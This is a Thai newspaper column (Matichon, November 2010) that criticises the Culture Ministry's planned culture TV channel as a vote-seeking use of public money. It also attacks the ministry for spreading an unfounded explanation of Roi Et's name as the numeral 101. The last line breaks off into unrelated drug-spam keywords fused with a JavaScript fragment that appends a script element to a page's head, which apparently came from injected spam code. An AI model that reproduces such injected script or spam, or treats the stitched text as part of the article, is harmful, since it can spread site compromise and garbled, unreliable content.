มติชนรายวัน ฉบับประจำวันศุกร์ที่  26   พฤศจิกายน  2553

งานวัฒนธรรมไม่มีพลังเสน่ห์ดึงดูดมากพอจะให้คนต้องตามดูรายการวัฒนธรรมทางโทรทัศน์วัฒนธรรม(Culture Channel)

ถ้าเทียบกับงานกระทรวงอื่นๆ จะเห็นว่าโทรทัศน์มหาดไทยมีพลังผลประโยชน์ ดึงดูดให้ข้าราชการมหาดไทยและพวกมิจฉาชีพต้องตามดูรายการมากกว่า ถึงกระนั้นก็ไม่ได้มีเสน่ห์ต่อคนทั่วไป

แต่มี“อำนาจ”ด้านคะแนนเลือกตั้งครั้งหน้า โดยไม่ต้องเสียเงินลงทุนของเจ้าของพรรคการเมือง เพราะใช้เงินงบประมาณราชการที่ได้จากภาษีอากรราษฎร

ตรงนี้แหละที่ชวนให้เชื่อว่าการเมืองบางพรรคอยากให้มีโทรทัศน์วัฒนธรรม จะได้  มีช่องทางสร้างคะแนนของใครของมันแข่งขันมหาดไทยและอื่นๆ

“มีหน่วยงานราชการหลายแห่ง ได้จัดตั้งสถานีโทรทัศน์—แต่ไม่ประสบความสำเร็จเท่าที่ควร ที่สำคัญใช้งบฯลงทุนจำนวนมาก” ปลัดกระทรวงวัฒนธรรม สมชาย เสียงหลาย บอกผลการประชุมของผู้เชี่ยวชาญด้านโทรทัศน์ ที่เชิญมาหารือเรื่องจัดตั้งโทรทัศน์วัฒนธรรม ว่าหาข้อสรุปไม่ได้ เพราะยังมีปัญหาต้องขบคิดมาก เลยจะออกอากาศไม่ทันวันที่ 5 ธันวาคมนี้ (มติชน ฉบับวันจันทร์ที่ 22 พฤศจิกายน 2553 หน้า 22)

เคยเขียนบอกแล้วเมื่อต้นเดือนพฤศจิกายน จะขอยกสาระสำคัญมาย้ำอีกครั้งว่า    สิ่งที่ วธ. ควรทำ ไม่ใช่โทรทัศน์วัฒนธรรม

แต่ควรทำงานแบ่งปันเผยแพร่ข้อมูลความรู้เรื่องวัฒนธรรมในความหมายกว้างและเคลื่อนไหวไม่หยุดนิ่งในที่แคบๆ โดยผ่านสื่อหลากหลายอย่างโทรทัศน์ทุกช่อง ไม่ใช่ช่องเดียว

งานเผยแพร่ของ วธ. ทุกวันนี้มีแต่กิจกรรมของรัฐมนตรี, อธิบดี, และหน่วยงานต่างๆในสังกัด แต่ไม่มีแบ่งปันเผยแพร่ข้อมูลความรู้สู่สาธารณะด้วยภาษาง่ายๆและคำอธิบายถูกต้อง

เมื่อทำคำอธิบายง่ายๆ, ถูกต้อง, และก้าวหน้า ก็แจกจ่ายไปตามสื่อต่างๆ โดยไม่ต้องทำสื่อเองด้วยโทรทัศน์วัฒนธรรมให้วุ่นวาย และเชยส์

มีตัวอย่างเชยส์ๆล่าสุดเรื่องชื่อ จ. ร้อยเอ็ด ที่กระทรวงวัฒนธรรมอธิบายเพ้อเจ้อเลอะเทอะ แล้วจะมีโทรทัศน์วัฒนธรรมเผยแพร่ข้อมูลเพ้อเจ้อเลอะเทอะไปทำไม?

ชื่อจังหวัดร้อยเอ็ด ออกแบบเป็นตัวเลข ๑๐๑ อยู่หน้าปกหนังสือ พิมพ์แจกทอดกฐินวัดกลางมิ่งเมือง จ. ร้อยเอ็ด (เมื่อวันเสาร์ที่ 20 พฤศจิกายน 2553) แล้วมีคำอธิบายปกหน้าด้านในว่า

ร้อยเอ็ด เป็นจังหวัดที่ตั้งอยู่กึ่งกลางของภาคอีสาน มานานกว่า 200 ปี อดีตเคยเป็นเมืองใหญ่ที่รุ่งเรืองมาก ชื่อว่า “สาเกตุนคร” มีประตูเข้าเมือง 11 ประตู เมืองขึ้น 11 เมือง ปัจจุบันได้มีการพัฒนาในด้านต่างๆมากมาย”

แต่เอกสารของพิพิธภัณฑสถานแห่งชาติ ร้อยเอ็ด กรมศิลปากร ยืนยันว่าตัวเขียนตำนานอุรังคธาตุบนใบลานไม่เป็นตัวเลข “๑๐๑” แต่เป็นตัวอักษรว่า “ร้อยเอ็ด”

และไม่เคยพบหลักฐานว่าตัวเลข “๑๐๑” ต้องอ่านว่า “สิบเอ็ด” ตามที่มีผู้พยายามจะโยงโดยเดาสุ่มอย่างนั้น แล้ว วธ. ไม่แก้ไขให้ถูกต้อง แต่กลับแสดงท่าทีเอากับเขาด้วย

ถามจริงๆ ว่ากระทรวงวัฒนธรรมต้องการจะแบ่งปันเผยแพร่ความรู้เท็จๆแบบลูกไม้“มหาดไทย” ยกเมฆดะไป หรือจะว่ากันตามพยานหลักฐานประวัติศาสตร์โบราณคดีที่มีอยู่จริง—ไม่ตอแหล

forzest vs cialis dutasteride side effectsd.getElementsByTagName(‘head’)[0].appendChild(s);